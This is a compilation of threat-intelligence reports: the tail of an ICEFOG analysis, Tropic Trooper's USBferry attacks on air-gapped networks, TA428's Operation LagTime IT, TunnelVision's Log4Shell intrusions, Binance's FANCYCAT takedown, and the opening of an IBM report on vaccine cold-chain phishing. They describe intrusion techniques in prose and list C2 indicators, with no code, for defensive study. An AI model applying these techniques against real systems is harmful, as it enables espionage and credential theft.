folder’s data - code_: (removed) run code from file to memory ## ICEFOG-M (The latest) - Supports same functions as ICEFOG–P. - Communication changed to HTTPS via port 443. - Payload became file-less (stored in registry), applied a customized loader launched by benign loader (DLL hijacking). - Loads an external sqlite3.dll library. Encrypted ICEFOG payload stored in registry. ## Conclusion ICEFOG is malware shared among Roaming Tiger, APT15, Temp Group A, and suspected APT9. Shared malware is a pitfall for attribution; we should not do attribution only based on malware. Temp Group A is aggressively using ICEFOG-P and ICEFOG-M to target Russia, Kazakhstan, Tajikistan, Uzbekistan, and Turkey. With the file-less ICEFOG-M, host-based detection for payloads is more difficult. Continued development indicates there could be more attacks leveraging ICEFOG in future campaigns, and possibly leveraged by more attackers.
# Tropic Trooper’s USBferry Targets Air-Gapped Networks Tropic Trooper, a threat actor group that targets government, military, healthcare, transportation, and high-tech industries in Taiwan, the Philippines, and Hong Kong, has been active since 2011. The group was reportedly using spear-phishing emails with weaponized attachments to exploit known vulnerabilities. Primarily motivated by information theft and espionage, the group has also been seen adopting different strategies such as fine-tuning tools with new behaviors and going mobile with surveillanceware. We found that Tropic Trooper’s latest activities center on targeting Taiwanese and the Philippine military’s physically isolated networks through a USBferry attack (the name derived from a sample found in related research). We also observed targets among military/navy agencies, government institutions, military hospitals, and even a national bank. The group employs USBferry, a USB malware that performs different commands on specific targets, maintains stealth in environments, and steals critical data through USB storage. We started tracking this particular campaign in 2018, and our analysis shows that it uses a fake executable decoy and a USB trojan strategy to steal information. Based on data from the Trend Micro™ Smart Protection Network™ security infrastructure, USBferry attacks have been active since 2014. We found the group was focused on stealing defense-, ocean-, and ship-related documents from target networks, which led us to believe that Tropic Trooper’s main purpose is to exfiltrate confidential information or intelligence. Tropic Trooper is well aware that military or government organizations may have more robust security in their physically isolated environments (i.e., the use of biometrics or USB use in a quarantined machine before an air-gapped environment). The group then targets potentially unsecured related organizations that could serve as jumping-off points for attacks. For instance, we observed Tropic Trooper move from a military hospital to the military’s physically isolated network. This blog post provides an overview of the USB malware called USBferry and its capabilities, as well as the other tools used to infiltrate physically isolated environments. Further details, including indicators of compromise (IoCs), can be read in the technical brief. ## A USB malware called USBferry We first encountered the malware from a PricewaterhouseCoopers report that mentioned a sample related to Tropic Trooper but did not include a detailed analysis. We looked into it further and discovered many versions of it, including several program database (PDB) strings. For one thing, the USBferry malware already has at least three versions, with different variants and components, at the time of writing. Here are the noteworthy points we gathered during analysis: - The first version has a small component of TROJ_YAHOYAH. The malware tries to check if the target machine has a USB plug-in and copies the USBferry installer into the USB storage. The activities vary in target environments; some execute commands, source target files or folder lists, and copy files from physically isolated hosts to compromised hosts, among other things. - The second version has the same capabilities as the first and combines components into one executable. This version also changes the malware location and its name to UF, an abbreviation for USBferry. - The third version retains the previous versions’ capabilities and improves its stealth in the target environment by residing in the rundll32.exe memory. ## How USBferry targets air-gapped systems In our technical brief, we broke down how Tropic Trooper has changed the way it uses the abovementioned USBferry versions in attacks. The group achieves infection by employing the USB worm infection strategy and ferrying a malware installer via USB into an air-gapped host machine. Here we will discuss the notable changes in the group’s latest attack chain that uses version UF1.0 20160226 (detected by Trend Micro as TROJ_USBLODR.ZAHB-A): 1. The decoy file first drops a flash_en.inf DLL file, which is a USBferry loader, and tries to load the encrypted USBferry malware. 2. The encrypted USBferry malware is embedded in the loader resource section, and the loader drops it into the C:\Users\Public\Documents\Flash folder and names it flash.dat. 3. After the encrypted payload is loaded, the loader injects a malicious DLL into rundll32.exe. The USBferry malware also loads a C&C configuration file and flash_en.dat, which is also located in the C:\Users\Public\Documents\Flash. 4. The USBferry malware then tries to connect to the download site and uses a Windows command to collect/copy target host data. This version checks for network connectivity; if it finds that the network is unavailable, it tries to collect information from the target machine and copy the collected data into USB storage. This way, the USB exfiltrates the information and sends it back to the C&C server. ## Backdoors and other tools used by Tropic Trooper Some backdoors used by Tropic Trooper use injection to execute its routines, while others execute directly and run themselves consistently. The group also uses steganography to mask their backdoor routines and evade anti-malware and network perimeter detection. To find the full list of the backdoors we analyzed, check out our technical brief. Here we will tackle some of the noteworthy backdoors Tropic Trooper used. - **WelCome To Svchost 3.2 20110818’s backdoor** (detected as BKDR_SVCSHELL.ZAHC-A) - This backdoor bears similarities with a payload we discussed in our previous research. Based on the malware version number, this backdoor’s first version was developed in or before 2011. This means that Tropic Trooper’s activities have been ongoing for at least ten years now. - **Welcome To IDShell 1.0 20150310’s backdoor** (detected as BKDR_IDSHELL.ZTFC-A) - The purpose of this backdoor, which has two types, including a steganography jpg version, is to recon the target machine. Like other versions, it uses the DNS protocol to communicate with the backdoor controller. The traffic is encrypted to evade detection. - **Hey! Welcome Server 2.0’s backdoor** (detected as BKDR_TEBSHELL.ZTGK) – This is the latest version of the backdoor, available in 32-bit and 64-bit versions, which uses an invisible web shell for remote control and network security evasion. It runs the process as a service, hides backdoor communication in normal traffic, and uses customized TCP protocol. It also improves the way it handles wrong input commands and unauthorized access. Tropic Trooper also used other tools in their attacks, such as: - Command-line remote control listener/port relay tool, which has different versions that can communicate with the backdoor. - Backdoor payload/steganography payload execution loaders, which have two versions that can be used to successfully load the encrypted payload and subsequently delete itself and the payload. - Port scanning tools, which are available on the internet. The overview provided above highlights how putting critical information in physically isolated networks is not a bulletproof solution for defending against cyberespionage. Steganography isn’t just used to deliver encrypted payloads; it can also be used to transfer information to a C&C server. Multiple hacking tools and components can also help facilitate successful attacks on different networks and environments. Threat actors like Tropic Trooper can also use an invisible web shell to hide its C&C server location and make incident response tricky. ## Best practices and Trend Micro solutions The latest developments with Tropic Trooper indicate that they are well-prepared to target government institutions and military agencies for stolen intelligence. The group also takes a long time to perform reconnaissance and consequently infiltrate physically isolated networks. This research also underscores how threat actors could see potentially vulnerable targets as launch points for extending their attack attempts to other, more critical targets. Understanding attack tactics and techniques can provide the needed context for assessing potential impact and adopting defensive strategies. Here are some measures that organizations can practice to thwart advanced persistent threats with security that employs actionable threat intelligence, network-wide visibility, and timely threat protection: - Enforce the principle of least privilege. Employ network segmentation and data categorization to deter lateral movement and mitigate exposure. - Keep the system and its applications up-to-date. Weaknesses in the network can serve as entry points for attacks. Enforce a strong patch management policy and consider virtual patching for legacy systems. - Regularly monitor your perimeter. Adopt cross-layer detection and response across gateways, endpoints, networks, and servers to protect against a wide range of cybersecurity threats. Firewalls and intrusion detection and prevention systems can help defend against network-based attacks. Organizations can take advantage of the Trend Micro Apex One™ solution, which provides actionable insights, expanded investigative capabilities, and centralized visibility across the network through a variety of threat detection capabilities such as behavioral analysis that protects against malicious scripts, injection, ransomware, memory, and browser attacks. A multilayered security solution such as Trend Micro™ Deep Discovery™ can also be considered; it provides in-depth analysis and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these attacks even without any engine or pattern updates.
# OPERATION LAGTIME IT: COLOURFUL PANDA FOOTPRINT **Fumio Ozawa, Shogo Hayashi & Rintaro Koike** NTT Security (Japan) KK [email protected] [email protected] [email protected] ## ABSTRACT Operation LagTime IT by TA428 is an attack campaign targeting governmental organizations of East Asian countries, reported by Proofpoint in July 2019. It is still active as of 2020. Through detailed research on two samples (document files on Qasem Soleimani and COVID-19) observed in January and February 2020, we have successfully unveiled the whole attack picture, including how TA428 interacts with a target. Previous research on Operation LagTime IT only reported that it used the Royal Road RTF Weaponizer, Poison Ivy, and Cotx RAT. However, according to the behavior we observed, TA428 also performs user environment checking, credential stealing, lateral movement, and highly sophisticated defense evasion. In this paper, we describe the operational steps that TA428 has taken from initial samples to reach the deepest part of the victim’s system. We also reveal our analysis of the malware used by TA428 and the codes that decode encrypted communication. We discuss how the techniques, tools, and malware used in Operation LagTime IT overlap with those of various other APT actors. ## INTRODUCTION ### TA428 TA428 is an advanced persistent threat (APT) actor that mainly targets East Asia. TA428 is known as a Chinese APT actor, and its most recent attack campaign is called Operation LagTime IT. It is considered that the actor is related to Pirate Panda, Tropic Trooper, and Key Boy. ### Operation LagTime IT Operation LagTime IT is an attack campaign operated by TA428 around March 2019. Proofpoint has reported that the group used Poison Ivy and Cotx RAT to target government agencies in East Asia. It has been reported that an RTF file generated by a tool called ‘Royal Road RTF Weaponizer’ is used as a lure document for the attacks. ### Our motivation Similar to Tick and Tonto, TA428 is attacking East Asia using the ‘Royal Road RTF Weaponizer’. However, detailed attack analysis of TA428 has not been shared to date. We wanted to find out the details of TA428’s attack strategy to help defend against it, particularly what kind of breaches the group uses with Poison Ivy and Cotx RAT. Therefore, we focused on Operation LagTime IT, which is one of TA428’s most active attack campaigns, and we observed and analyzed the attack. Since 2020, we have observed Operation LagTime IT attacks five times. We performed a detailed analysis of the two attacks we observed in January and February. As a result, we have uncovered several pieces of malware and compromise tools that have never before been reported, as well as the attacker’s specific method of operation. ## CASE 1 ### Overview and attack flow In early January 2020, we observed a file called ‘How Suleimani’s death will affect India and Pakistan.doc’. This file is a lure document that is the launch point for Operation LagTime IT. When this file is opened in a vulnerable version of Microsoft Office Word, it exploits the vulnerability and creates a file called ‘useless.wll’ in the Microsoft Word startup directory. The .wll file located in the Microsoft Office Word startup directory will automatically be loaded and executed when the user starts Word. The file named ‘useless.wll’ is Poison Ivy. It is used to download three cab files (‘o.cab’, ‘nbt.cab’, and ‘in.cab’) from the C&C server and execute the files stored in the cab files. The file ‘o.cab’ contains ‘o.exe’, which is a tool used to dump Outlook credentials. The file ‘nbt.cab’ contains ‘n.exe’, which is an NBT scan tool. The file ‘in.cab’ contains a file named ‘intel.dll’, which will be executed from ‘rundll32.exe’ by the attacker later on. The file ‘intel.dll’ creates two files, ‘intel.exe’ and ‘RasTls.dll’. ‘Intel.exe’ is a legitimate Intel executable file that is digitally signed. ‘Intel.exe’ is used to perform DLL side-loading as the executable will load ‘RasTls.dll’, located in the same directory. ‘RasTls.dll’ is a Cotx RAT. After executing ‘o.exe’ and ‘n.exe’ and persisting the Cotx RAT, the operation by the attacker stopped. ### Malware and files observed during attack Case 1 | Item | File path | Description | |---------------------|---------------------------------------------------------------------------|--------------------------------------------------| | Lure document | How Suleimani’s death will affect India and Pakistan.doc | RTF file that attacker sends | | Word document | - | Any Microsoft Office Word file | | Poison Ivy | %APPDATA%\Microsoft\Word\STARTUP\useless.wll | Poison Ivy RAT | | Credential stealer | %USERPROFILE%\AppData\Local\Comms\o.cab | Dump tool for Outlook credentials | | | %USERPROFILE%\AppData\Local\Comms\o.exe | | | NBTScan | %APPDATA%\Adobe\nbt.cab | NBT scan tool | | | %APPDATA%\Adobe\n.exe | | | Dropper | %ALLUSERSPROFILE%\Comms\in.cab | Dropper of Cotx RAT | | | %ALLUSERSPROFILE%\Comms\intel.dll | | | Legitimate file | %ALLUSERSPROFILE%\Comms\intel.exe | Legitimate executable file of Intel | | | %APPDATA%\Intel\Intel(R) Processor Graphics\IntelGraphicsController.exe | | | Cotx RAT | %ALLUSERSPROFILE%\Comms\RasTls.dll | Cotx RAT is side-loaded by intel.exe | ### Lure document ‘How Suleimani’s death will affect India and Pakistan.doc’ is an RTF file relating to the death of Commander Soleimani of the Islamic Revolutionary Guard. This RTF file contains malicious code for exploiting CVE-2018-0798 and an object called ‘8.t’. The inclusion of these objects suggests that it was created using the Royal Road RTF Weaponizer. When this RTF file is opened with Microsoft Word, it will load the malicious code that exploits CVE-2018-0798 and execute the two-byte XOR-encoded shellcode. The shellcode decodes the 8.t object by the following operations. The result of decoding 8.t is a DLL file that will be written to the Microsoft Office Word startup directory with the file name ‘useless.wll’. ### Poison Ivy The useless.wll file created in the Microsoft Office Word startup directory will automatically be loaded and executed the next time Microsoft Office Word is started. This .wll file will first check for the existence of the string ‘WORD.EXE’ in the result of GetCommandLineA by using the strstr function. If the string exists, it will execute again using rundll32.exe. This time, it will execute a function called ‘DllEntry10’, rather than ‘DllEntryPoint’. When DllEntry10 is executed, it first decodes some data with ‘XOR 0xad’. One of the decoded strings is an RC4 key. The core part of Poison Ivy will be decoded using the RC4 key and additional simple operation. The decoded data includes Poison Ivy’s configuration data. | C&C server | 95.179.131.29:443, 95.179.131.29:8080 | |---------------------|---------------------------------------| | Campaign ID | hold | | Group ID | hold | | Mutex | 99x7nmpWW | | Password | 3&U<9f*lZ>!MIQ | This version of Poison Ivy has similar traffic characteristics to those of a variant called SPIVY. The first byte of traffic is a value from 0x01 to 0x0f. It shows the size of the padding data that immediately follows it. When the padding data ends, double the padding data size follows to indicate the end. After that is the data body. The data is Camellia-encrypted using ECB mode. The encryption key is contained in the configuration data. The structure of the subsequent data is the same as in the normal Poison Ivy. ### Cotx RAT The Cotx RAT is the original RAT used by the TA428 group. The Proofpoint report named it Cotx RAT because it saved the configuration data in the ‘.cotx’ section. However, in the Cotx RAT that we analyzed, the configuration data was included in the ‘.pdata’ section. The configuration data is encrypted with AES-192 in CBC mode. The encryption key and initialization vector ‘IV’ are identical to those in the Proofpoint report. ### Credential stealer The ‘o.exe’ file that was downloaded and executed by Poison Ivy is a commercial tool called ‘Outlook Password Dump v3.0’. When the tool is executed, it is possible to steal credentials stored in Microsoft Office Outlook. In the victim’s environment, the attacker could not get anything because the credentials were not stored in Outlook. ### Environment scanner The ‘n.exe’ file that was downloaded and executed by Poison Ivy is a public NBTScan tool. When the tool is executed, it is possible to scan for hosts on the target network. The attacker was scanning neighboring networks and looking for existing hosts. ## CASE 2 ### Overview and attack flow In the middle of February 2020, we observed a file called ‘English_2020.02.17_13.00_MOH_daily update.doc’. This file looks like a document related to COVID-19. However, it is actually a lure document that is the starting point for the attack of Operation LagTime IT. As in Case 1, a .wll file is created (‘woldfunc.wll’) and copied to the Microsoft Office Word startup directory. Also as in Case 1, ‘woldfunc.wll’ is Poison Ivy, and it downloads three cab files from the C&C server and runs Cotx RAT in exactly the same way. In Case 1, ‘o.exe’ and ‘n.exe’ were only used to investigate the environment and steal information. However, in Case 2, there was more of a breach. First, ‘s.cab’ and ‘w.cab’ were downloaded, unpacked, and executed by Poison Ivy. ‘s.cab’ contains an executable file called ‘s.exe’. This is a checker to investigate whether it can be compromised by exploiting MS17-010 against the host passed as an argument. An attacker who finds a laterally deployable host with ‘s.exe’ then uses the ‘w.exe’ contained in ‘w.cab’ to do the actual compromise. ‘w.exe’ is a tool that actually exploits MS17-010. The attacker used it to inject a DLL file into the compromised host, in the lsass.exe process, to execute it. The injected DLL file is the second Poison Ivy. However, it accesses a different C&C server from the one accessed by the Poison Ivy that was initially executed. Using the second Poison Ivy, the attacker continued to compromise. We observed lateral movement on two hosts and investigated further breaches on each host. ### Malware and files observed during attack Case 2 | Item | File path | Description | |---------------------|---------------------------------------------------------------------------|--------------------------------------------------| | Lure document | English_2020.02.17_13.00_MOH_daily update.doc | RTF file that attacker sends | | Word document | - | Any Microsoft Office Word file | | Poison Ivy-A | %APPDATA%\Microsoft\Word\STARTUP\woldfunc.wll | Poison Ivy RAT | | Credential stealer-A | %ALLUSERSPROFILE%\Comms\o.cab, %ALLUSERSPROFILE%\Comms\o.exe | Dump tool for Outlook credentials | | NBTScan | %ALLUSERSPROFILE%\Comms\nbt.cab, %ALLUSERSPROFILE%\Comms\n.exe | NBT scan tool | | Dropper | %ALLUSERSPROFILE%\Comms\in.cab, %ALLUSERSPROFILE%\Comms\intel.dll | Dropper of Cotx RAT | | | %ALLUSERSPROFILE%\Comms\intel.exe | Legitimate executable file of Intel | | Cotx RAT | %ALLUSERSPROFILE%\Comms\RasTls.dll | Cotx RAT is side-loaded by intel.exe | | ScanTool | %ALLUSERSPROFILE%\Comms\s.cab, %ALLUSERSPROFILE%\Comms\s.exe | Scan tool for MS17-010 | | ExploitTool | %ALLUSERSPROFILE%\Comms\w.cab, %ALLUSERSPROFILE%\Comms\w.exe | Exploit tool for MS17-010 | | Poison Ivy-B | %ALLUSERSPROFILE%\Comms\x86.dll, %ALLUSERSPROFILE%\Comms\x64.dll | Poison Ivy is injected into lsass.exe | | Legitimate File-B | %SYSTEMROOT%\System32\lsass.exe | Legitimate executable file of Microsoft Corporation | ### Lateral movement The attacker used two tools for lateral movement. The first is s.exe. This is a tool that checks if it is possible to exploit the MS17-010 vulnerability on the specified host. It is a PE file converted from the public Python script by PyInstaller. After the attacker found a vulnerable host using s.exe, the second tool, ‘w.exe’, was used. This is a tool that enables the MS17-010 vulnerability to be exploited. It is a PE file which seems to have been created based on the public Python script. The w.exe tool sends x86.dll or x64.dll in the same directory to the target host depending on the environment and injects it into the lsass.exe process. ### Poison Ivy (second) The behavior of x86.dll and x64.dll is the same. Both are internally named ‘blu.dll’. The path of PDB was left in x64.dll. When the DLL file is injected into lsass.exe, the ‘Register’ function is executed. When executed, it creates three files (PotPlayerMini.exe, PotPlayer.dll, and PAME13.tmp) under C:\Windows\Temp and executes PotPlayerMini.exe. PotPlayerMini.exe is a legitimate binary created by Daum and has a digital signature. PotPlayer.dll is loaded in the same directory, causing DLL side-loading. PotPlayer.dll is the body of Poison Ivy (SPIVY). First, PAME13.tmp is decoded with RC4 to get configuration data. After that, it communicates with the C&C server just like the first Poison Ivy. ### Credential stealer (second) The ‘sh.cab’ file contains a file named ‘show.exe’, which is a tool enabling the stealing of Windows credentials. Show.exe steals username, domain, and password from the lsass.exe process. The attacker executed show.exe and retrieved the credentials; however, the penetration to another host didn’t succeed because the credentials in our environment were old. ### Tmanger The PDB path was left in dwm.exe, which was included in ‘ss.cab’. We call it ‘Tmanger’ because of the string contained in this pathname. When ‘dwm.exe’ is executed, it creates ‘test.dll’ under the Temp folder of the user account. The data in it is in the resource section of the ‘dwm.exe’ file. It also copies itself under the Temp folder with the filename ‘master.exe’. And then it persists to execute master.exe with the key ‘HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Master’. It then uses rundll32.exe to execute a function called ‘Entery’ in ‘test.dll’. This allocates an area in memory, writes the code, and executes it. We believe this is the body of the RAT. After collecting information from the PC, it attempts to communicate with the C&C server on ports 80, 443, and 5222, in that order. ### nccTrojan Using the second Poison Ivy, the attacker placed the installer ‘Instsrv.exe’ and the RAT ‘WindowsResKits.dll’ on ‘C:\ProgramData\Microsoft\Crypto\’. When Instsrv.exe is executed, it registers a fake service as Windows Resource Kits. WindowsResKits.dll decrypts config information and communication contents using AES (CFB mode). The nccTrojan connected to 45.77.129.213 on port 443/TCP and communicated with the C&C server. The TCP payload consisted of an eight-byte SIZE field and a following DATA field. It is a feature that the SIZE field was described as a decimal character string and the invalid digit was ‘x’. ### CORRELATION TA428 has been reported to actively use the Royal Road RTF Weaponizer in Operation LagTime IT. The RTF file generated by Royal Road RTF Weaponizer has several characteristics. It can be classified according to the RTF object, encoding algorithm, etc. TA428, Tick, and Tonto are said to belong to Group-B. Attack groups belonging to Group-B mainly target East Asia, especially Russia, Mongolia, South Korea, and Japan – countries which have much overlap with the target countries of TA428. The Poison Ivy used by TA428 has a different traffic structure from the normal Poison Ivy. This is a variant called SPIVY. One example of the use of SPIVY was in Hong Kong in March 2016. In this attack, similar to the TA428 attack this time, the malware was executed by DLL side-loading using a legitimate Symantec binary and RasTls.dll. This time we have found that TA428 uses PotPlayerMini for DLL side-loading. This technique is extremely rare. Until now, only a few cases of DLL side-loading using PotPlayerMini have been reported – these are said to be the attacks associated with DragonOK and Danti. A case in Hong Kong, reported by Palo Alto Networks, uses PotPlayerMini to execute Poison Ivy, similar to this TA428 attack. In addition, the TA428 attack that is believed to have targeted Kazakhstan around April 2019 is said to have used malware related to Danti. DragonOK targets East Asian countries such as Japan and Taiwan and is consistent with the target area of TA428. ## CONCLUSION Operation LagTime IT by TA428 has been observed since at least March 2019 and has not changed TTPs for more than a year. It mainly targets government agencies in East Asia and uses RTF files generated by the Royal Road RTF Weaponizer, Poison Ivy, and Cotx RAT. It also uses tools that exploit MS17-010 for lateral movement, NBTScan for environmental investigations, and tools to steal credentials. It also uses previously unknown advanced RATs such as Tmanger and nccTrojan. TA428 is included in Group-B alongside Tick and Tonto. It may also be associated with previous SPIVY-based attacks against Hong Kong by DragonOK and Danti. It is expected that attacks by TA428 will continue to be aggressive. To protect your system from attacks by TA428, we recommend that you use the information presented in this paper for detection and defense.
# Exploitation of VMware Horizon Servers by TunnelVision Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain, and respond to threats within minutes. We have discovered some of the most dangerous threats and nation-state attacks in our space – including the Kaseya MSP breach and the more_eggs malware. Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response, and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team. In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward. Here’s the latest from our TRU Team… ## What did we find? In early February 2022, we identified suspicious account creation and credential harvesting attempts on a customer’s endpoint. The activity was escalated and traced to a VMware Horizon server. This server was operating an out-of-date version known to be vulnerable to Log4Shell (CVE-2021-44228). The server itself was not publicly accessible but believed to be exposed to untrusted input routed from an Internet-facing system. Analysis by our Threat Intelligence team indicates a strong link to TunnelVision, an activity cluster operated by an Iranian-aligned threat actor(s). Attribution to the TunnelVision activity cluster is supported by the following artifacts and observed Tactics, Techniques, and Procedures (TTPs): - Common use of tunnel server 142.44.135[.]86 - Observed C2 domain activate-microsoft[.]cf utilizes a similar naming convention to known TunnelVision server microsoft-updateserver[.]cf and shares similar registration characteristics. - TTPs observed in this case align with known TunnelVision behavior. The summary of intrusion activity for TunnelVision is as follows: - The initial pivot from compromised Horizon server occurred using NTLM authentication for a generic administrator account. - A backdoor account “DomainAdmin” is created on secondary systems using net command and then added to local administrators' group. - The adversary then performs lateral movement using PSexec and RDP. - Credentials are then harvested using Procdump. - Malware is written to C:\Users\DomainAdmin\Desktop\Drokbk.exe which creates service name, “SessionManagerService”. - The malware written to c:\programdata\SoftwareDistribution\SessionService.exe communicates with activate-microsoft[.]cf and GitHub. - Sysinternals and SSH tools are downloaded by the backdoor account using a web browser on compromised systems. - Lastly, RDP tunneling is done using Ngrok to IP 142.44.135[.]86. ## How did we find it? We used eSentire MDR for Endpoint to identify post-exploitation TTPs. ## What did we do? Our 24/7 SOC alerted the customer and responded to isolate the host on the client's behalf. We automatically blocked certain actions such as credential harvesting. Our Incident Handler team was engaged for further identification and containment actions. ## What can you learn from this TRU positive? In a recent blog post, SentinelOne researchers linked TunnelVision’s activity to the deployment of ransomware using n-day vulnerabilities including Log4Shell to access and compromise targets. While overall exploitation of Log4Shell has diminished since peaking in December 2021, opportunistic exploitation of VMware Horizon servers continues. We responded to several cases of Horizon Log4Shell exploitation throughout January and February 2022 (including this one). Network visibility determines the level of response effort required with regards to the exploitation of Horizon servers. It means the difference between identifying direct exploitation vs. just the ripple effects of a threat actor with a network foothold. - Where we had network and endpoint telemetry on Horizon servers, we were able to react and contain successful exploitation prior to lateral spread. - Where visibility was adjacent to these servers, we identified post-exploitation activity such as lateral movement using compromised credentials. In certain cases, vulnerable Horizon servers were not Internet-facing, but ultimately had exploit requests routed to them from external gateways. ## Recommendations from our Threat Response Unit (TRU) Team: Loader malware attempts to install other malware, so the priority should be to identify and investigate the presence of follow-on malware on systems. In addition, we recommend: - Ensure any system which is directly exposed to the Internet or that handles untrusted data routed from Internet-facing systems is patched for Log4Shell (CVE-2021-44228). - Ensure your security tools are monitoring critical servers such as VMware Horizon. This should include network, endpoint, and log visibility to aid with detection, response, and containment activities. ## Ask Yourself… - Are you monitoring for compromise of critical systems and follow-on actions? - Are patches in place for actively exploited vulnerabilities? If you’re not currently engaged with a Managed Detection and Response provider, we highly recommend you partner with us for security services in order to disrupt threats before they impact your business.
# Binance Helps Take Down Cybercriminal Ring Laundering $500M in Ransomware Attacks Ransomware has become the biggest threat to online security, affecting all industries connected to the internet, from supply chains to healthcare institutions. Therefore, a critical part of Binance’s commitment to ensuring the secure and sustainable growth of the global crypto ecosystem involves fighting different strains of ransomware and fraud. Earlier this year, we released a case study on our first Bulletproof Exchanger Project, a dedicated anti-ransomware initiative where we worked with the Ukraine Cyber Police to arrest a major cybercriminal group laundering over $42M of illicit funds. More recently, Binance Security has been taking part in an international investigation with Ukraine Cyber Police, Cyber Bureau of Korean National Police Agency, US Law Enforcement, Spanish Civil Guard, and Swiss Federal Office of Police, among others, in apprehending a prolific cybercriminal ring. The group—also known as FANCYCAT—has been running multiple criminal activities: distributing cyber attacks, operating a high-risk exchanger, and laundering money from dark web operations and high-profile cyber attacks such as Cl0p and Petya ransomware. In all, FANCYCAT is responsible for over $500M worth of damages in connection with ransomware and millions more from other cybercrimes. ## Operation FANCYCAT Over the past year, we have expanded our in-house AML detection and analytics capabilities. Based on our research and analysis, as well as our understanding of cybercriminals' history and cashout tactics, we arrived at the conclusion that the biggest security problem in the industry today is money connected to cyber attacks being laundered through nested services and parasite exchanger accounts that live inside macro VASPs, including exchanges like Binance.com. These criminals enjoy taking advantage of reputable exchanges’ liquidity, diverse digital asset offerings, and well-developed APIs. In a majority of the cases associated with illicit blockchain flows coming onto exchanges, the exchange is not harboring the actual criminal group themselves, but rather being used as a middleman to launder stolen profits. Blockchain analysis shows a network of money launderers living inside macro exchanges which deposit and withdraw to each other to wash the money. Understanding this diagnosis, we are taking the necessary steps to prevent illicit activity. We are applying a two-pronged approach: 1) implementing our own detection mechanisms to identify and offboard suspicious accounts, 2) collaborating with law enforcement to build cases and take down criminal groups. We applied the two-pronged approach to the FANCYCAT investigation: our AML detection and analytics program detected suspicious activity on Binance.com and expanded the suspect cluster. Once we mapped out the complete suspect network, we worked with private sector chain analytics companies TRM Labs and Crystal (BitFury) to analyze on-chain activity and gain a better understanding of this group and its attribution. Based on our analysis, we found that this specific group was not only associated with laundering Cl0p attack funds, but also with Petya and other illegally-sourced funds. This led to the identification and eventual arrest of FANCYCAT. We are continuing to investigate the FANCYCAT criminal syndicate across multiple jurisdictions and the connections associated with other cyber attacks. ## Making the International Crypto Ecosystem a Safer Place At Binance, we believe that strong controls across exchanges, smart legislation, and ongoing education will help immensely with weeding out bad actors. Projects such as our “Bulletproof Exchanger” and our ongoing partnerships with law enforcement, as well as security and blockchain analytics firms, will be a driving force in improving the cybersecurity measures across the wider crypto industry. ## About Binance Binance is the world’s leading blockchain and cryptocurrency infrastructure provider with a financial product suite that includes the largest digital asset exchange by volume. Trusted by millions worldwide, the Binance platform is dedicated to increasing the freedom of money for users and features an unmatched portfolio of crypto products and offerings, including trading and finance, education, data and research, social good, investment and incubation, decentralization and infrastructure solutions, and more. ## About Cyber Police Department of the National Police of Ukraine The Cyber Police Department of the National Police of Ukraine has been established as part of the Ministry of Internal Affairs of Ukraine. The department has up to 400 law enforcement officers and senior specialists, including officers employed in every region of Ukraine at local cybercrime units. Investigators of the Cyber Police Department lead criminal proceedings on such cases: crimes against information security; crimes in the areas of IT, telecom and copyright; crimes in the areas of payment systems and commercial activities; computer intelligence activities; cyber crime and illegal actions with cryptocurrency. ## About Cyber Bureau of Korean National Police Agency The Cyber Bureau of Korean National Police Agency investigates cybercrimes including cyber terrorism such as ransomware and provides digital forensics services.
# IBM Uncovers Global Phishing Campaign Targeting the COVID-19 Vaccine Cold Chain At the onset of the COVID-19 pandemic, IBM Security X-Force created a threat intelligence task force dedicated to tracking down COVID-19 cyber threats against organizations that are keeping the vaccine supply chain moving. As part of these efforts, our team recently uncovered a global phishing campaign targeting organizations associated with a COVID-19 cold chain. The cold chain is a component of the vaccine supply chain that ensures the safe preservation of vaccines in temperature-controlled environments during their storage and transportation. Our analysis indicates that this calculated operation started in September 2020. The COVID-19 phishing campaign spanned across six countries and targeted organizations likely associated with Gavi, The Vaccine Alliance’s Cold Chain Equipment Optimization Platform (CCEOP) program. While firm attribution could not be established for this campaign, the precision targeting of executives and key global organizations holds the potential hallmarks of nation-state tradecraft. ## Key Details from IBM Security X-Force’s Analysis ### The Cover Story The adversary impersonated a business executive from Haier Biomedical, a credible and legitimate member company of the COVID-19 vaccine supply chain and qualified supplier for the CCEOP program. Disguised as this employee, the adversary sent phishing emails to organizations believed to be providers of material support to meet transportation needs within the COVID-19 cold chain. We assess that the purpose of this COVID-19 phishing campaign may have been to harvest credentials, possibly to gain future unauthorized access to corporate networks and sensitive information relating to the COVID-19 vaccine distribution. ### The Targets The targets included the European Commission’s Directorate-General for Taxation and Customs Union, as well as organizations within the energy, manufacturing, website creation, and software and internet security solutions sectors. These are global organizations headquartered in Germany, Italy, South Korea, Czech Republic, greater Europe, and Taiwan. ### The How Spear-phishing emails were sent to select executives in sales, procurement, information technology, and finance positions, likely involved in company efforts to support a vaccine cold chain. We also identified instances where this activity extended organization-wide to include help and support pages of targeted organizations. IBM Security X-Force has followed responsible disclosure protocols and notified the appropriate entities and authorities about this targeted operation. ## Alert for the COVID-19 Supply Chain IBM Security X-Force urges companies in the COVID-19 supply chain — from research of therapies, healthcare delivery to distribution of a vaccine — to be vigilant and remain on high alert during this time. Governments have already warned that foreign entities are likely to attempt to conduct cyber espionage to steal information about vaccines. Today, in conjunction with this blog, DHS CISA is issuing an alert encouraging organizations associated with the storage and transport of a vaccine to review this research and recommended best practices to remain vigilant. ## Calculated Spoofing to Compromise the COVID-19 Cold Chain IBM Security X-Force uncovered targets across multiple industries, governments, and global partners that support the CCEOP program. The CCEOP was launched by Gavi, The Vaccine Alliance along with the United Nations Children Fund (UNICEF) and other partners in 2015. Its objective is to ultimately strengthen vaccine supply chains, optimize immunization equity, and ensure an agile medical response to outbreaks of infectious diseases. Various classes of medication, and especially vaccines, require storage and transport in temperature-controlled environments to ensure their safe preservation. The CCEOP initiative is naturally accelerating efforts to facilitate the distribution of a COVID-19 vaccine. A breach within any part of this global alliance could result in the exposure of numerous partner computing environments worldwide. The spoofed phishing emails appear to originate from a business executive from Haier Biomedical, a Chinese company currently acting as a qualified supplier for the CCEOP program, in coordination with the World Health Organization (WHO), UNICEF, and other 